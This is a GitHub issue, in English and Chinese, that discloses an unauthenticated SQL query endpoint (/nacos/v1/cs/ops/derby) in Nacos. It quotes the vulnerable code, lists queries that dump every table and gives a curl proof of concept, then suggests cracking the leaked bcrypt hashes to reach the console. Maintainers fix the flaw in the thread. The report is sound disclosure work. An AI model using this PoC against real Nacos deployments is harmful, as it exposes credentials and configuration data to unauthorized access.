New issue

Jump to bottom

Report a security vulnerability in nacos to execute arbitrary SQL without authentication #4463

Closed **threedr3am** opened this issue on Dec 12, 2020 · 4 comments · Fixed by #4517

Labels area/Config contribution welcome **kind/enhancement**

Milestone 1.4.1

threedr3am commented on Dec 12, 2020

---------- (english)

Hello, I am threedr3am. I found a nacos interface. When nacos is deployed in the default configuration, it can be accessed without authentication and execute arbitrary SQL queries, which leads to the disclosure of sensitive information.

1. Vulnerability details

Source address: https://github.com/alibaba/nacos

The audit code can find that there is an interface in the config server, and the SQL statement can be executed without any authentication, and all data can be leaked

The vulnerability lies in the module: com.alibaba.nacos.config.server.controller.ConfigOpsController in nacos-config

```
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
    String selectSign = "select";
    String limitSign = "ROWS FETCH NEXT";
    String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
    try {
        if (PropertyUtil.isEmbeddedStorage()) {
            LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
                    .getInstance().getDataSource();
            if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
                if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
                    sql += limit;
                }
                JdbcTemplate template = dataSourceService.getJdbcTemplate();
                List<Map<String, Object>> result = template.queryForList(sql);
                return RestResultUtils.success(result);
            }
            return RestResultUtils.failed("Only query statements are allowed to be executed");
        }
        return RestResultUtils.failed("The current storage mode is not Derby");
    } catch (Exception e) {
        return RestResultUtils.failed(e.getMessage());
    }
}
```

As you can see, the code only limits the need to include select, so any select query statement can be executed

Through the test, you can use the following statement to query all database information

```
select * from users

select * from permissions

select * from roles

select * from tenant_info

select * from tenant_capacity

select * from group_capacity

select * from config_tags_relation

select * from app_configdata_relation_pubs

select * from app_configdata_relation_subs

select * from app_list

select * from config_info_aggr

select * from config_info_tag

select * from config_info_beta

select * from his_config_info

select * from config_info
```

The most important thing is that the interface does not require any authentication and can be accessed directly

After reading the account number and the password after the hash, we can analyze it through the open source program source code because of the salt generation algorithm used when nacos creates the account.

Look at the source code com.alibaba.nacos.console.security.nacos.NacosAuthConfig

```
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
    auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
```

```
}

@Override
protected void configure(HttpSecurity http) throws Exception {

    if (StringUtils.isBlank(authConfigs.getNacosAuthSystemType())) {
        http

                .csrf().disable().cors() // We don't need CSRF for JWT based authentication

                .and().sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)

                .and().authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll()
                .antMatchers(LOGIN_ENTRY_POINT).permitAll()

                .and().authorizeRequests().antMatchers(TOKEN_BASED_AUTH_ENTRY_POINT).authenticated()

                .and().exceptionHandling().authenticationEntryPoint(new JwtAuthenticationEntryPoint());

        // disable cache
        http.headers().cacheControl();

        http.addFilterBefore(new JwtAuthenticationTokenFilter(tokenProvider),
                UsernamePasswordAuthenticationFilter.class);
    }
}

@Bean
public PasswordEncoder passwordEncoder() {
    return new BCryptPasswordEncoder();
}
```

As you can see, they are all default and users cannot modify them

Therefore, refer to the tool class com.alibaba.nacos.console.utils.PasswordEncoderUtil

In this way, the password represented by the hash value can be quickly blasted locally

```
package com.alibaba.nacos.console.utils;

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

/**
 * Password encoder tool.
 *
 * @author nacos
 */
public class PasswordEncoderUtil {

    public static void main(String[] args) {
        System.out.println(new BCryptPasswordEncoder().encode("nacos"));
    }

    public static Boolean matches(String raw, String encoded) {
        return new BCryptPasswordEncoder().matches(raw, encoded);
    }

    public static String encode(String raw) {
        return new BCryptPasswordEncoder().encode(raw);
    }
}
```

2. the loopholes reproduce

Deployment process:

1. Go to github to download the latest release: https://github.com/alibaba/nacos/releases
2. Execute ./bin/startup.sh -m standalone to run locally

poc：

```
curl -XGET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20'
```

3. Scope of influence

All versions

---------- （中文）

你好，我是threedr3am，我发现了一个nacos的接口，在默认配置部署nacos的情况下，它无需认证即可被访问，并执行任意sql查询，导致敏感信息泄露。

一、漏洞详情

源码地址：https://github.com/alibaba/nacos

审计代码可以发现，config server中有个接口，没有做任何的鉴权，即可执行sql语句，可以泄漏全部数据

漏洞点在于module：nacos-config的com.alibaba.nacos.config.server.controller.ConfigOpsController中

```
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
    String selectSign = "select";
    String limitSign = "ROWS FETCH NEXT";
    String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
    try {
        if (PropertyUtil.isEmbeddedStorage()) {
            LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
                    .getInstance().getDataSource();
            if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
                if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
                    sql += limit;
                }
                JdbcTemplate template = dataSourceService.getJdbcTemplate();
                List<Map<String, Object>> result = template.queryForList(sql);
```

```
                return RestResultUtils.success(result);
            }
            return RestResultUtils.failed("Only query statements are allowed to be executed");
        }
        return RestResultUtils.failed("The current storage mode is not Derby");
    } catch (Exception e) {
        return RestResultUtils.failed(e.getMessage());
    }
}
```

可以看到，代码只限制了需要包含select，因此，导致可以执行任意的select查询语句

通过测试，可以用以下的语句查询到所有数据库信息

```
select * from users

select * from permissions

select * from roles

select * from tenant_info

select * from tenant_capacity

select * from group_capacity

select * from config_tags_relation

select * from app_configdata_relation_pubs

select * from app_configdata_relation_subs

select * from app_list

select * from config_info_aggr

select * from config_info_tag

select * from config_info_beta

select * from his_config_info

select * from config_info
```

最重要的是，该接口不需要任何认证，直接就可以访问

通过读取到账号以及hash之后的密码后，因为nacos创建账号时使用的salt生成算法我们通过开源的程序源码已经能分析出来

看源码com.alibaba.nacos.console.security.nacos.NacosAuthConfig

```
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
    auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
}

@Override
protected void configure(HttpSecurity http) throws Exception {

    if (StringUtils.isBlank(authConfigs.getNacosAuthSystemType())) {
        http

                .csrf().disable().cors() // We don't need CSRF for JWT based authentication

                .and().sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)

                .and().authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll()
                .antMatchers(LOGIN_ENTRY_POINT).permitAll()

                .and().authorizeRequests().antMatchers(TOKEN_BASED_AUTH_ENTRY_POINT).authenticated()

                .and().exceptionHandling().authenticationEntryPoint(new JwtAuthenticationEntryPoint());

        // disable cache
        http.headers().cacheControl();

        http.addFilterBefore(new JwtAuthenticationTokenFilter(tokenProvider),
                UsernamePasswordAuthenticationFilter.class);
    }
}

@Bean
public PasswordEncoder passwordEncoder() {
    return new BCryptPasswordEncoder();
}
```

可以看到，都是默认的，使用者没法做修改

因此，参考工具类com.alibaba.nacos.console.utils.PasswordEncoderUtil

通过这样的方式，可以在本地快速的爆破出hash值表示的密码

```
package com.alibaba.nacos.console.utils;

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

/**
 * Password encoder tool.
 *
 * @author nacos
 */
public class PasswordEncoderUtil {

    public static void main(String[] args) {
        System.out.println(new BCryptPasswordEncoder().encode("nacos"));
    }
```

```
    public static Boolean matches(String raw, String encoded) {
        return new BCryptPasswordEncoder().matches(raw, encoded);
    }

    public static String encode(String raw) {
        return new BCryptPasswordEncoder().encode(raw);
    }
}
```

二、漏洞复现

部署流程：

1. 到github下载最新版release：https://github.com/alibaba/nacos/releases
2. 执行./bin/startup.sh -m standalone本地运行

poc：

```
curl -XGET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20'
```

三、影响范围

所有版本

KomachiSion commented on Dec 12, 2020 — Collaborator

该接口用户derby数据库运维查询，由于derby数据库无法通过外部登陆（内存型数据库，只能通过程序进入），因此必须有一个接口能够查询数据做运维。 可以考虑优化一下 加一个鉴权，只有管理员可以访问。

KomachiSion added the **kind/enhancement** label on Dec 12, 2020

KomachiSion added this to the **1.4.1** milestone on Dec 12, 2020

threedr3am commented on Dec 13, 2020 — Author

是的，强烈建议加上鉴权。因为，管理台console使用了一套账号鉴权体系，这个设计即表明了就算内网访问，也是需要鉴权的，并且有账号之分。而derby这个运维查询接口，同样是内网访问，但默认情况下却无需认证、鉴权，而且读到数据库的账号密码信息后，反过来可以登进管理台。

chuntaojun added area/Config contribution welcome labels on Dec 13, 2020

haoyann mentioned this issue on Dec 18, 2020

[ISSUE #4463] fix derbyOps interface security problem #4517

Merged

5 tasks

KomachiSion closed this as completed in #4517 on Dec 20, 2020

---

threedr3am commented on Dec 27, 2020 — Author

你好，这个安全问题，你们考虑在安全公告中发布吗？
https://docs.github.com/cn/free-pro-team@latest/github/managing-security-vulnerabilities/about-github-security-advisories

threedr3am commented on Dec 27, 2020 — Author

@KomachiSion

threedr3am mentioned this issue on Oct 4, 2021

PRP: Request Alibaba-Nacos CVE-2021-29442 execute arbitrary SQL without authentication google/tsunami-security-scanner-plugins#121

Open

Assignees

No one assigned

Labels

area/Config contribution welcome **kind/enhancement**

Projects

None yet

Milestone

1.4.1

Development

Successfully merging a pull request may close this issue.

[ISSUE #4463] fix derbyOps interface security problem
haoyann/nacos

3 participants